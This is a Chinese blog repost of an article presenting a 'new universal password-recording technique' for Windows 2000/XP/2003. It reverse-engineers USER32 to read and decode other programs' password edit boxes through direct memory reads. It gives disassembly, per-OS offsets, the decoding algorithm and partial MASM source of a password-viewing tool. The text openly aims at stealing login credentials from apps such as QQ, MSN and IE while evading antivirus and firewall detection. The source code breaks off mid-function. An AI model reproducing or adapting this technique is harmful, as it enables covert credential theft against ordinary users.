• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Edit控件密碼窗口的秘密--一種全新的通用密碼記錄技術(shù) 收藏
            原文地址:http://www.xcodez.com/?id=433#
            ?
            *目前的各類密碼記錄技術(shù)*

            目前各類密碼記錄程序多如牛毛,但實(shí)現(xiàn)原理無非有以下六個:
            一:調(diào)用CreateRemoteThread函數(shù)遠(yuǎn)程DLL或代碼注入.
            二:調(diào)用SetWindowsHookEx安裝鍵盤鉤子記錄按鍵,或是鍵盤驅(qū)動記錄按鍵.(注五)
            三:偽造登陸界面.
            四:登錄信息在網(wǎng)絡(luò)傳輸過程中被嗅探.
            五:分析目標(biāo)程序流層,文件補(bǔ)丁技術(shù)(注一).
            六:分析目標(biāo)程序流層,搜索并讀取存放在內(nèi)存中(比如:全局變量)的密碼.

            由于后四個技術(shù)都要對目標(biāo)程序進(jìn)行專門的分析所以更多的用在專用游戲盜號程序中.這樣目前通用的獲取目標(biāo)主機(jī)各類程序登錄密碼的技術(shù)還是緊緊局限于前兩個.

            *兩大主流密碼記錄技術(shù)的局限性*

            對于鍵盤記錄技術(shù)由于用戶可能會不按順序輸入密碼所以正確率有限,要是安裝鍵盤驅(qū)動還要Admin權(quán)限同時更難以區(qū)分用戶是輸密碼還是其它輸入(在驅(qū)動下可沒有GetActiveWindow函數(shù)呵呵).
            對于第一種技術(shù)前面所說的問題都不存在,并且用各種語言編寫的源代碼廣為流傳,所以水平高一點(diǎn)點(diǎn)的黑客都會使用,但也正因為這個遠(yuǎn)線程注入技術(shù)實(shí)在太流行,所以很多殺毒軟件一但發(fā)現(xiàn)有程序調(diào)用了CreateRemoteThread這個API就會提示并攔截(比如江民公司的"木馬一掃光").同樣安裝鍵盤鉤子比如調(diào)用SetWindowsHookEx有些殺毒軟件也會提示.
            難道就沒有通用性相對較好,記錄正確率高,不容易被殺毒軟件查殺的技術(shù)了嗎?請看下文.

            *目前的思路*

            對于WINDOWS程序中的密碼窗口通常是具有ES_PASSWORD風(fēng)格的EDIT控件(通常輸入內(nèi)容顯示為*號),在WINDOWS 98下要記錄密碼,只用給這種窗體發(fā)送一個WM_GETTEXT消息就可以了沒有任何限制,在WIN2000以后的操作系統(tǒng)中,微軟也意識到這樣太不安全,所以限制為進(jìn)程只可以給自已的具有ES_PASSWORD風(fēng)格的EDIT控件窗口發(fā)送WM_GETTEXT消息并正確得到窗口內(nèi)容(注二).這樣也就很好理解為什么目前的兩大主流技術(shù)要么是建一個遠(yuǎn)程線程,要么HOOK鍵盤了.現(xiàn)在的程序和WIN98時代很明顯的區(qū)別就是都要多一個DLL.
            (直接代碼注入的可以不要DLL但還是會調(diào)用可能引起殺毒軟件提示的API函數(shù))

            *新的思路*

            在EDIT控件輸入字符以后,這些字符當(dāng)然是被記錄在EDIT控件所在的進(jìn)程可以仿問的內(nèi)存中的.可不可以直接從內(nèi)存中讀取內(nèi)容呢?
            也就是寫了一個自已的不受微軟限制的GetWindowText函數(shù),或是叫GetWindowPass函數(shù).讀內(nèi)存可以調(diào)用OpenProcess和ReadProcessMemory
            或是集成這兩個函數(shù)的Toolhelp32ReadProcessMemory.怎么讀的問題解決了,現(xiàn)在就是讀哪個位置的問題.另外OpenProcess
            不代寫內(nèi)存的參數(shù)一般殺毒軟件不會提示(注三).


            *讀哪兒?*

            解決這個問題首先我們還是看看微軟是怎么讀的吧.大家都知道要取得EDIT控件的內(nèi)容可以發(fā)WM_GETTEXT消息或是調(diào)用USER32.DLL中
            的GetWindowTextA函數(shù).打開WIN32DASM和SOFTICE.一路跟蹤后總算基本明白了其中的原理,重要代碼反匯編如下:共有三部分
            (USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)

            第一部分:
            GetWindowText函數(shù)執(zhí)行后很快就會調(diào)用如下代碼:重要的地方會有注解:)

            :77D184D0 8BFF??????????????????? mov edi, edi
            :77D184D2 55????????????????????? push ebp
            :77D184D3 8BEC??????????????????? mov ebp, esp
            :77D184D5 51????????????????????? push ecx
            :77D184D6 53????????????????????? push ebx
            :77D184D7 56????????????????????? push esi
            :77D184D8 57????????????????????? push edi
            :77D184D9 8855FC????????????????? mov byte ptr [ebp-04], dl
            :77D184DC 8BF9??????????????????? mov edi, ecx????????????????????? ;edi中為密碼窗口句柄
            :77D184DE 33F6??????????????????? xor esi, esi
            :77D184E0 64A118000000??????????? mov eax, dword ptr fs:[00000018]? ;得到當(dāng)前線程的TEB
            :77D184E6 8B0D6000D777??????????? mov ecx, dword ptr [77D70060]
            :77D184EC 8D98CC060000??????????? lea ebx, dword ptr [eax+000006CC] ;當(dāng)前線程TEB的基地址+6CCH放入EBX中
            :77D184F2 8BC7??????????????????? mov eax, edi
            :77D184F4 25FFFF0000????????????? and eax, 0000FFFF???????????????? ;eax中為密碼窗口句柄的低16位
            :77D184F9 3B4108????????????????? cmp eax, dword ptr [ecx+08]
            :77D184FC 734D??????????????????? jnb 77D1854B
            :77D184FE 8B0D8400D777??????????? mov ecx, dword ptr [77D70084]???? ;77D70084是USER32.DLL中的一個全局變量的地址,重要!
            :77D18504 8D0440????????????????? lea eax, dword ptr [eax+2*eax]
            :77D18507 8D0C81????????????????? lea ecx, dword ptr [ecx+4*eax]??? ;ecx為(密碼窗口句柄低16位x12)+一個未知全局變量
            --------------------------無關(guān)代碼省略之-------------
            :77D1852F 8B31??????????????????? mov esi, dword ptr [ecx]????????? ;ecx的值沒變,取里面的值給esi
            :77D18531 0F8471A40100??????????? je 77D329A8
            :77D18537 3B30??????????????????? cmp esi, dword ptr [eax]
            :77D18539 0F8269A40100??????????? jb 77D329A8
            :77D1853F 3B7004????????????????? cmp esi, dword ptr [eax+04]
            :77D18542 0F8360A40100??????????? jnb 77D329A8
            :77D18548 2B731C????????????????? sub esi, dword ptr [ebx+1C]??????
            ;剛才的值-RealClientID,EBX+1C接合上面的代碼看就是當(dāng)前線程TEB的基地址+6CCH+1CH,取得的值也就是當(dāng)前線程的RealClientID

            第二部分
            經(jīng)過一些跳轉(zhuǎn)后會調(diào)用EditWndProc,其中的關(guān)鍵代碼如下:

            Exported fn(): EditWndProc - Ord:00C1h ;函數(shù)入口
            :77D2C538 8BFF??????????????????? mov edi, edi
            :77D2C53A 55????????????????????? push ebp
            :77D2C53B 8BEC??????????????????? mov ebp, esp
            :77D2C53D 83EC1C????????????????? sub esp, 0000001C
            :77D2C540 8B550C????????????????? mov edx, dword ptr [ebp+0C]??????? ;如果EDX為0Dh說明是取得窗口的內(nèi)容
            :77D2C543 53????????????????????? push ebx
            :77D2C544 56????????????????????? push esi
            :77D2C545 57????????????????????? push edi
            :77D2C546 8B7D08????????????????? mov edi, dword ptr [ebp+08]
            :77D2C549 8B07??????????????????? mov eax, dword ptr [edi]
            :77D2C54B 8BB7A4000000??????????? mov esi, dword ptr [edi+000000A4]? ;這兒的EDI和前面代碼最后的ESI是同一個值,重要!
            :77D2C551 33C9??????????????????? xor ecx, ecx?????????????????????? ;計算后ESI就是一個指向窗口內(nèi)容結(jié)構(gòu)的指針
            :77D2C553 8945F4????????????????? mov dword ptr [ebp-0C], eax
            :77D2C556 41????????????????????? inc ecx
            ---------------------無關(guān)代碼省略之---------------
            :77D2C5B9 51????????????????????? push ecx
            :77D2C5BA FF7514????????????????? push [ebp+14]
            :77D2C5BD FF7510????????????????? push [ebp+10]
            :77D2C5C0 56????????????????????? push esi
            :77D2C5C1 E88E040000????????????? call 77D2CA54?? ;得到窗口內(nèi)容

            第三部分:
            * Referenced by a (U)nconditional or (C)onditional Jump at Address:
            |:77D2C665(C)
            |
            :77D41496 837E0C00??????????????? cmp dword ptr [esi+0C], 00000000
            :77D4149A 7427??????????????????? je 77D414C3
            :77D4149C 668B466A??????????????? mov ax, word ptr [esi+6A]
            :77D414A0 660FAF460C????????????? imul ax, word ptr [esi+0C]????????? ;esi和上面的一樣指向窗口結(jié)構(gòu),ESI+0C是取得密碼長度
            :77D414A5 668945FA??????????????? mov word ptr [ebp-06], ax
            :77D414A9 668945F8??????????????? mov word ptr [ebp-08], ax
            :77D414AD 8D45F8????????????????? lea eax, dword ptr [ebp-08]
            :77D414B0 50????????????????????? push eax???????????????????????????
            :77D414B1 33C0??????????????????? xor eax, eax
            :77D414B3 8A86EC000000??????????? mov al, byte ptr [esi+000000EC]???? ;ESI+EC解碼密碼的變量,總是一個字節(jié)
            :77D414B9 897DFC????????????????? mov dword ptr [ebp-04], edi
            :77D414BC 50????????????????????? push eax

            * Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
            ????????????????????????????????? |
            :77D414BD FF154410D177??????????? Call dword ptr [77D11044]?????????? ;對該函數(shù)分析可知,esi+00存放編碼后的密碼的地址

            *分析GetWindowTextA后的總結(jié)*

            分析流層可知道GetWindowTextA函數(shù)要取得一個EDIT控件的內(nèi)容要得到如下參數(shù):
            1.窗口句柄,線程,進(jìn)程ID,2.窗口所在的線程的TEB(線程環(huán)境塊),3.窗口所在的進(jìn)程加載的USER32.DLL中的一個未知的全局變量.
            我們的進(jìn)程可不可以獲得這三個參數(shù)呢?
            對于句柄可以使用的函數(shù)有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到進(jìn)程,線程ID調(diào)用GetWindowThreadProcessId
            對于窗口所在的線程的TEB,我查閱NATIVE API手冊后找到了ZwQueryInformationThread,當(dāng)然先要調(diào)用OpenThread得到線程句柄
            對于第三個參數(shù),它的值一般總是為00XX0000,它其實(shí)就是進(jìn)程的GUI TABLE在R3層的映射的基地址.GUI TABLE也就是用戶對象句柄表,
            它里面的值簡單的說就是一些指向窗體信息結(jié)構(gòu)的指針.


            *獲得GUI TABLE在R3成層的映射基地址*

            我的系統(tǒng)中,記錄這個地址的變量的地址是77D70084,在SOFTICE中對這個地址下BPM寫斷點(diǎn),發(fā)現(xiàn)每個進(jìn)程加載USER32.DLL的時候一般是要
            調(diào)用這個DLL中的UserClientDllInitialize,在這個函數(shù)的如下代碼處
            :77D21020 8DB5A0FAFFFF??????????? lea esi, dword ptr [ebp+FFFFFAA0]
            :77D21026 BF8000D777????????????? mov edi, 77D70080???? ;注意不是77D70084
            :77D2102B F3????????????????????? repz
            :77D2102C A5????????????????????? movsd

            會對這個變量賦初值.然后打開W32DASM,查找77d70084和77d70080,結(jié)果發(fā)現(xiàn)了一個UNDOCUMENT API:UserRegisterWowHandlers!
            分析這個函數(shù)的最后面的代碼可以看出這個函數(shù)的返回值就是記錄GUI TABLE在R3成層的映射基地址的變量的地址-4.代碼如下:
            :77D535F5 B88000D777????????????? mov eax, 77D70080
            :77D535FA 5D????????????????????? pop ebp
            :77D535FB C20800????????????????? ret 0008
            到此理論上要實(shí)現(xiàn)直接內(nèi)存讀取密碼應(yīng)該沒有問題了,下面看看具體的算法是什么:)


            *把密碼算出來*

            第一步:
            取窗口句柄的低16位然后乘以12,我們設(shè)結(jié)果為HwndIndex
            第二步:
            得到GUI TABLE在R3成層的映射基地址,我們設(shè)這個地址為GuiTableBase
            第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
            第四步:
            TEB基地址+6cch+1ch,取里面的值,得到RealClientID
            第五步:
            PHwndStruct1-RealClientID得到PHwndStruct2
            第六步:
            PHwndStruct2+A4H,取里面的值得到真正的記錄窗體信息的結(jié)構(gòu)的地址設(shè)結(jié)果為PRealWinStruct
            第七步:
            PRealWinStruct+00h里面的值是編碼后的密碼的地址
            PRealWinStruct+0ch里面值是密碼長度我們叫PASSLEN
            PRealWinStruct+ech里面值是解碼要用到的一個變量我們叫ENCODE.
            第八步:
            解碼算法,通過對RtlRunDecodeUnicodeString分析后解碼算法如下:
            ??? MOV EDX,ENCODE
            ??????? mov cl,dl
            ??????? mov edi,PASSLEN
            @@nextpass:???????
            ??????? CMP EDI,1
            ??????? JBE @@firstpass
            ??????? mov eax,esi?????? ;esi指向編碼后的密碼的第一個字節(jié).
            ??????? add eax,edi
            ??????? mov dl,[eax-2]
            ??????? xor dl,[eax-1]
            ??????? xor dl,cl ;重要
            ??????? mov [eax-1],dl
            ??????? dec edi
            ??????? jmp @@nextpass
            @@firstpass:
            ??????? or? cl,43h
            ??????? mov edx,offset buffer1
            ??????? xor [edx],cl
            注意通過對多個2K,XP,2003系統(tǒng)的分析前面五步以及八步始終沒有變化,第六步WIN2000是+98h
            2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

            *具體編碼*

            為了證明思路的正確性,專門寫了一個WINDOWS2K/XP/2003下看星號密碼的小程序,當(dāng)然完全不用遠(yuǎn)程注入線程了.
            下面把關(guān)鍵實(shí)現(xiàn)代碼分析一下:

            第一步:得到密碼密窗口句柄:

            ??????????????????? invoke??? GetCursorPos,addr @stPoint???????????? ;得到當(dāng)前光標(biāo)位置
            ??????????? invoke??? WindowFromPoint,@stPoint.x,@stPoint.y? ;得到光標(biāo)下窗口的句柄???????????
            ??????????? mov??? @hWindow,eax
            ??????????? .if??? eax !=??? NULL
            ??????????????? invoke GetWindowLong,@hWindow,GWL_STYLE???? ;得到窗口風(fēng)格
            ??????????????? .if (eax & ES_PASSWORD)???????????????????? ;是密碼框嗎?
            ??????????????????? invoke GetClassName,@hWindow,offset classname,64?? ;如果是得到控件類名
            ??????????????????? invoke lstrcmpi,offset classname,offset editname??
            ??????????????????? .if eax == 0?????????????????????????????????????? ;如果類名是Edit,那么調(diào)用ViewPass函數(shù)讀密碼
            ??????????????????? mov eax,@hWindow
            ??????????????????? mov WINHAND,eax
            ??????????????????? invoke ViewPass
            ??????????????????? .endif???????????????????
            ???????????????????
            ??????????????? .endif
            ??????????? .endif

            第二步:判斷系統(tǒng):
            LOCAL verinfo:OSVERSIONINFO
            ???
            ??? mov???? verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
            ??? invoke? GetVersionEx,addr verinfo
            ??? .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
            ??????? mov eax,1 ;xp
            ??????? mov passoffset,0A4H
            ??????? mov lenoffset ,14H

            程序只取WIN2000/XP/2003系統(tǒng)的密碼,同時根據(jù)不同的系統(tǒng)設(shè)置偏移.經(jīng)過測試
            同一種系統(tǒng)偏移沒有變化,所以通用性應(yīng)該很好.


            第三步:得到密碼窗口的線程和進(jìn)程ID
            invoke GetWindowThreadProcessId,eBx,addr parid
            MOV WINTHREADID,EAX ;返回值為線程ID
            第一個參數(shù)為窗口句柄,第二個參數(shù)為得到進(jìn)程ID


            第四步:根據(jù)窗口所在的進(jìn)程的進(jìn)程號得到這個進(jìn)程加載的USER32.DLL的基地址

            invoke GetUser32Base,parid
            返回值就是基地址:)

            GetUser32Base? proc uses ebx esi edi remoteproid
            ??????????? LOCAL hSnapshot:dword
            ??????????? LOCAL modinfo:MODULEENTRY32
            ??????????? LOCAL modname[256]:byte

            ??????? mov??????? modinfo.dwSize,sizeof MODULEENTRY32
            ??????? invoke? CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一個參數(shù)表示例舉模塊
            ??????? mov???? hSnapshot,eax
            ??????? invoke? Module32First,hSnapshot,addr modinfo ;結(jié)果放在modinfo結(jié)構(gòu)中,modBaseAddr成員記錄
            ??????? .while eax?????????????????????????????????? ;相應(yīng)模塊加載的基地址
            ??????? lea???? ecx,modinfo.szModule
            ??????? invoke? lstrcmpi,offset user32dll,ecx? ;比較模塊名是否為user32.dll
            ??????? .if???? eax == 0
            ??????????????? mov eax,modinfo.modBaseAddr
            ??????????????? ret
            ??????? .endif
            ??????? invoke? Module32Next,hSnapshot,addr modinfo
            ??????? .endw
            ??????? invoke??? CloseHandle,hSnapshot
            ???????
            ??????????????? ret
            GetUser32Base?? endp

            第五步:
            根據(jù)窗口所在的線程得到該線程的TEB地址
            ??????? invoke? OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;線程ID
            ??????? ..if??? eax != NULL
            ??????????????? mov???? THREADHAND,EAX
            ??????????????? invoke??? LoadLibrary,offset Ntdll
            ??????????????? invoke??? GetProcAddress,eax,offset _ZwQueryInformationThread ;調(diào)用NAVITE API
            ??????????????? mov???? apiquerthread,eax????????????????
            ??????????????? push??? 0
            ??????????????? push??? sizeof THREAD_BASIC_INFORMATION
            ??????????????? lea???? ecx,threadinfo
            ??????????????? push??? ecx
            ??????????????? push??? ThreadBasicInformation
            ??????????????? push??? THREADHAND
            ??????????????? call??? apiquerthread
            ??????????????? .IF EAX == STATUS_SUCCESS
            ??????????????????? lea ecx,threadinfo
            ??????????????????? mov esi,[ecx+4] ;得到TEB了,通常為7FFDX000
            ??????????????? .ELSE
            ??????????????????? invoke MessageBox,0,offset errgetteb,offset vp,1
            ??????????????????? ret
            ??????????????? .ENDIF
            ??????? .else
            ??????????? invoke MessageBox,0,offset erropenthread,offset vp,1
            ??????????? ret
            ??????? .endif

            第六步:得到TEB中的RealClientID,注意這兒是讀目標(biāo)程序的內(nèi)存,不是自已的了..
            ??????? add esi,6cch? ;看第五步,ESI中為目標(biāo)線程的TEB基地址,如果是程序自已獲得自已的TEB???????
            ??????? add esi,1ch?? ;只用MOV EAX,FS:[18]就行了,也就是文章中間反匯編看到的那樣.
            ??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
            ;第一個參數(shù)為密碼所在窗口進(jìn)程PID,第二個是讀的起始地址,第三個是放在哪兒,第四是讀長度,第五實(shí)際讀取
            ??????? .if eax == TRUE ;為真說明讀成功
            ?????????????? mov eax,offset buffer1
            ?????????????? mov eax,[eax]
            ?????????????? mov edi,eax
            ?????????????? .if eax ==NULL
            ??????????????? invoke MessageBox,0,offset errnorealcid,offset vp,1
            ?????????????? ret
            ?????????????? .endif
            ??????? .endif

            第七步:得到目標(biāo)進(jìn)程R3層的GUI TABLE基地址

            這一步應(yīng)該是這個程序最關(guān)鍵的部分,希望大家認(rèn)真閱讀.先介紹一下我的思路:
            我們已經(jīng)知道這個基地址存放在目標(biāo)程序加載的USER32.DLL的全局變量中.并且這個DLL中的UserRegisterWowHandlers
            函數(shù)的返回值就是這個全局變量的地址.
            首先想到的辦法是直接調(diào)用這個函數(shù),但是通過對這個函數(shù)的反匯編分析后發(fā)現(xiàn)該函數(shù)的參數(shù)難以正確構(gòu)造特別是
            在WIN2003系統(tǒng)下該函數(shù)會比較嚴(yán)格的檢查參數(shù),所以就放棄了直接調(diào)用該函數(shù)得到基地址的辦法.
            通過對不同系統(tǒng)的這個函數(shù)反匯編我們可以很容易的找到共同點(diǎn):
            2K系統(tǒng):(5.0.2195.7032)
            :77E3565D B880D2E477????????????? mov eax, 77E4D280
            :77E35662 C20800????????????????? ret 0008

            XP系統(tǒng):(5.1.2600.2180)
            :77D535F5 B88000D777????????????? mov eax, 77D70080
            :77D535FA 5D????????????????????? pop ebp?
            :77D535FB C20800????????????????? ret 0008

            2003系統(tǒng):(5.2.3790.1830)
            :77E514D9 B8C024E777????????????? mov eax, 77E724C0
            :77E514DE C9????????????????????? leave
            :77E514DF C2080000??????????????? ret 0008

            分析共同點(diǎn)以后,我們就可以寫出相應(yīng)的算法.我的算法是:
            1.得到我的進(jìn)程自身的USER32.DLL的基地址,我們設(shè)為user32base(其實(shí)也就是LoadLibrary加載這個DLL的返回值)
            2.調(diào)用GetProcAddress得到UserRegisterWowHandlers的入口地址.
            3.從入口地址處讀1000個字節(jié)(這個函數(shù)功能其實(shí)很簡單1000個字節(jié)足夠了)
            4.在這1000個字節(jié)中,我使用了LDE32庫的匯編指令長度判斷函數(shù)(注四).給出指令的首地址可以準(zhǔn)確的計算出指令的長度.
            這樣我先找長度為3的指令,同時指令內(nèi)容要為C20800(UserRegisterWowHandlers只有兩個參數(shù)所以用這種方法找這個指令正確率應(yīng)該很高)
            在查找的過程中我用一個局部變量記錄每一個指令的長度.在找到C20800后我再倒過去找指令長度為5,同時指令的第一個字節(jié)為B8
            (也就是mov eax,xxxxxxxx指令)
            5.在找到mov eax,xxxxxxxx指令后,取這個地址往后4個字節(jié)的值,這個值(我們設(shè)為varaddr)通常就是記錄GUI TABLE基地址變量的地址
            6.分析USER32.DLL的PE文件結(jié)構(gòu),找出這個DLL的全局變量的起始地址(也就是.data段的虛擬偏移(VirtualAddress)+USER32.DLL的加載基地址).
            7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是這個變量在USER32.DLL的全局變量中的相對偏移,我們記為VarOffset,
            如果這個值>0,同時小于.data段的VirtualSize那么說明成功.如果不成功我們再跳到第5步再從后往前重新找mov eax,xxxxxxxx指令.
            8.通過前面第四步(根據(jù)窗口所在的進(jìn)程的進(jìn)程號得到這個進(jìn)程加載的USER32.DLL的基地址)+VirtualAddress+VarOffset我們就得到了目標(biāo)
            進(jìn)程中這個變量的地址,最后再調(diào)用Toolhelp32ReadProcessMemory,就可以讀出GUI TABLE的基地址了.

            (注:由于不能找到直接調(diào)用UserRegisterWowHandlers的辦法,所以第七步從原理上看并不能保證有100%的成功率,但通過我對多個不同系統(tǒng)
            不同版本的測試,目前的這個算法都還是通用)

            第八步:最后其實(shí)就是把*把密碼算出來*這一節(jié)的算法實(shí)現(xiàn)就0K了.不過要注意的是密碼可能是Unicode格式的.


            *最后的總結(jié)*

            所有的分析和技術(shù)細(xì)節(jié)都在上面了,這篇文章要用到PE文件格式,NAVITE API,反匯編等知識如有不懂可以參考網(wǎng)上的相關(guān)的資料.

            ?

            ?

            注一:文件補(bǔ)丁技術(shù)簡單說就是分析目標(biāo)程序的流層,找出程序本身獲得密碼框密碼的代碼,然后在這個代碼后面加上一個跳轉(zhuǎn)
            跳到我們新增加的PE節(jié)中,在這個節(jié)中的代碼就是取得密碼并記錄到文件中,然后再跳回程序原來的流層.

            注二:其實(shí)要取得密碼也可以這樣做:發(fā)送EW_SETPASSWORDCHAR消息,取消EDIT控件的密碼風(fēng)格,然后再調(diào)用GetWindowText函數(shù)取密碼
            最后再恢復(fù)密碼框?qū)傩?不過對于這種辦法,用戶很可能會發(fā)現(xiàn)異常.
            使用Delphi/BCB工具中的TEDIT類,可以直接發(fā)消息,這時微軟的限制完全不起作用.

            注三:大多數(shù)版本的ZoneAlarm是只防止OpenProcess打開系統(tǒng)進(jìn)程以及IE的進(jìn)程句柄,對于OpenProcess第三方程序默認(rèn)中級安全級別下不攔.

            注四:程序中使用的LDE32庫,是國外的程序員開發(fā)的一個專門計算匯編指令長度的小工具,網(wǎng)上有源代碼可下載..
            該庫文件編譯后只有600多個字節(jié).

            注五:還有一種按鍵記錄技術(shù)是用一個死循環(huán)不停的調(diào)用GetAsyncKeyState和GetKeyState判斷同一時間下每個按鍵的當(dāng)前狀態(tài).
            該方法目前也很難被安全軟件發(fā)現(xiàn)但還是有記錄不準(zhǔn)確,不能記錄不按順序輸入的密碼(當(dāng)然也不能記中文)等問題.


            附:
            1.看星號程序源代碼
            2.一個簡單的密碼框程序
            3.測試系統(tǒng)的USER32.DLL

            內(nèi)存讀取獲得密碼(原創(chuàng))
            ;????????????????? #--------------------------------------#???????? #
            ;??????????????? #? PassView?????????????????????????????? #????? #
            ;????????????? #??????????????????????????????????????????? #?? #
            ;??????????? #??????????????????????????????????????????????? #
            ;????????? #????????????????????? 2007.1.1??????????????????? #
            ;??????????? #??????????????????? codz: czy??????????????? #??? #
            ;???????????? #------------------------------------------#??????? #

            ;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR

            ??????????????? .386
            ??????????????? .model flat, stdcall
            ??????????????? option casemap :none?? ; case sensitive

            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            ;??????? Include 數(shù)據(jù)
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            include???? \masm32\include\windows.inc
            include???? \masm32\include\kernel32.inc
            include???? \masm32\include\user32.inc
            include???? \masm32\include\gdi32.inc


            includelib? \masm32\lib\kernel32.lib
            includelib? \masm32\lib\user32.lib
            includelib? \masm32\lib\gdi32.lib

            CLIENT_ID STRUCT??????? ; sizeof = 8
            ??????? UniqueProcess??????? HANDLE??????? ?
            ??????? UniqueThread??????? HANDLE??????? ?
            CLIENT_ID ENDS

            THREAD_BASIC_INFORMATION STRUCT??????? ; sizeof = 1ch
            ??????? ExitStatus??????????????????????????????? DWORD?????????? ?
            ??????? TebBaseAddress??????????????????????? PVOID??????????????? ? ; PTEB
            ??????? ClientId??????????????????????????? CLIENT_ID??????? <> ; 8h
            ??????? AffinityMask??????????????????????? DWORD??????????????? ? ;
            ??????? Priority??????????????????????????? DWORD??????????????? ?
            ??????? BasePriority??????????????? DWORD??????????????? ?
            THREAD_BASIC_INFORMATION ENDS

            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            ;??????? 子程序聲明
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            _ProcDlgMain??????? PROTO??????? :DWORD,:DWORD,:DWORD,:DWORD
            ViewPass??????????????? proto
            _ProcessPeFile????????? proto :dword
            GetUnknowVarOffset????? proto
            GetUser32Base?????????? proto :dword
            CheckOS???????????????? proto
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            ;??????? Equ 數(shù)據(jù)
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            .const
            STATUS_SUCCESS??????????????? equ??????? 0
            ThreadBasicInformation??????? equ 0
            DLG_MAIN??????? equ??????????????? 1000
            ID_PWD??????????????? equ??????????????? 1001
            IDB_1??????????????? equ??????????? 1
            IDC_BMP??????????????? equ??????????? 108

            RGB MACRO red, green, blue
            ??????? xor eax, eax
            ??????? mov al, blue??? ; blue
            ??????? rol eax, 8
            ??????? mov al, green?? ; green
            ??????? rol eax, 8
            ??????? mov al, red???? ; red
            ENDM
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            ;??????? 數(shù)據(jù)段
            ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            .data
            hWinMain??? dd ?
            vp????????? db 'viewpass 0.1 codz czy',0
            PASSLEN???? DD ?
            ENCODE????? DD ?
            WINTHREADID DD ?
            WINHAND???? DD 0
            unknownvar? DD ?
            VirtualAddress dd ?
            VirtualSize dd ?
            VarOffset?? dd ?
            modbase???? dd ?
            lenoffset?? dd ?
            passoffset? dd ?
            Tahoma????? db 'Tahoma',0
            editname??? db 'EdIt',0
            Richeditname db 'RichEdit20W',0
            dataname??? db '.data?? ',0
            erros?????? db '不是吧,還在用WIN9X/NT4',0
            nowin?????? db '找不到主窗體',0
            nowin2????? db '找不到子窗體中的密碼窗口',0
            errnowow??? db '不能找到UserRegisterWowHandlers函數(shù)地址',0
            errnocode?? db '不能找到UserRegisterWowHandlers函數(shù)中相匹配的機(jī)器碼',0
            erropenthread db '不能打開線程',0
            errgetteb???? db '打開線程但不能得到TEB',0
            errnorealcid? db '不能得到TEB中的RealClientID',0
            errnounknowvar db '不能從user32.dll中找到未知變量',0
            passerr???? db '密碼太長或為空',0
            tebformat?? db 'TEB %x',0
            varformat?? db 'user32.dll gSharedInfo addr:%x',0
            varformat2? db 'GUI TABLE in user modle addr:%08x',0
            realcidformat? db 'real cid:%x',0
            Wndformat????? db 'pass window hand:%x,win thread id:%x',0
            wndcontformat? db 'win struct:%x',0
            passaddrformat db 'pass addr:%x',0
            passlenformat? db 'pass len:%d',0
            passformat???? db 'pass decode? is:%x',0
            user32dll????? db 'user32.dll',0
            Ntdll?????????????????? db??????? "NTDLL.DLL",0
            _UserRegisterWowHandlers? db "UserRegisterWowHandlers",0
            _ZwQueryInformationThread db "ZwQueryInformationThread",0
            THREADHAND???? DD 0
            apiquerthread? dd ?
            Pthreadinfo??? dd ?
            .data?
            hInstance?????????? dd ?
            szBuffer?????????? db 256 dup??????? (?)
            buffervar????? db 32 dup (?)
            buffervar2???? db 32 dup (?)
            bufferteb????? db 32 dup (?)
            bufferPassWnd? db 32 dup (?)
            bufferrealcid? db 32 dup (?)
            bufferwndcont? db 32 dup (?)
            bufferpassaddr db 32 dup (?)
            bufferpasslen? db 32 dup (?)
            bufferpass1??? db 128 dup (?)
            bufferuni????? db 256 dup (?)
            classname????? db 128 dup (?)
            buffer1??????? db 128 dup (?)
            buffercode???? db 1024 dup (?)

            ??????????????? .code

            ;********************************************************************
            ViewPass? proc
            ??????????? LOCAL parid:dword
            ??????????? LOCAL threadinfo:THREAD_BASIC_INFORMATION

            ??????? ;invoke MessageBox,0,offset vp,offset vp,1

            ;--------------判斷操作系統(tǒng)???????
            ??????? invoke CheckOS
            ??????? .if eax == 0
            ??????????? ret
            ??????? .endif???????
            ???????
            ;---------------得到密碼窗口句柄,以及線程句柄,進(jìn)程句柄
            ???????????
